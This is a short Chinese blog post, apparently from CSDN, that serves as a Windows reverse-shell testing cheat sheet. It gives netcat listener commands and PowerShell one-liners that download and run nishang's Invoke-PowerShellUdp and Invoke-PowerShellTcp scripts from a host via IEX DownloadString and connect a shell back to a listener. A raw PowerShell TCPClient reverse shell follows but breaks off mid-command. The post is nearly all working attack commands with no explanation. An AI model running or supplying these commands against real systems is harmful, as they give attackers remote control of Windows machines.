Windows反弹shell测试

最新推荐文章于 2024-08-08 21:06:47 发布

oscarli

最新推荐文章于 2024-08-08 21:06:47 发布

阅读量339

点赞数

分类专栏：安全测试文章标签：反弹shell

本文链接：https://blog.csdn.net/oscarli/article/details/125043778

版权

在powershell提示下加载ps1脚本：
Import-Module .\Invoke-PowerShellUdp.ps1

nishang UDP反弹：
在119： nc -luvp 8999
在154 cmd：powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.151:8080/nishang/shell/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 192.168.1.119 -port 8999

nishang tcp反弹：

在119： nc -lvp 8999
在154 cmd：
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.151:8080/nishang/shell/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.119 -port 8999

powershell TCP反弹：
在119： nc -lvp 6666
在154 cmd：powershell -nop -c "$client = New-Object Net.Sockets.TCPClient('192.168.1.119',6666);$stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data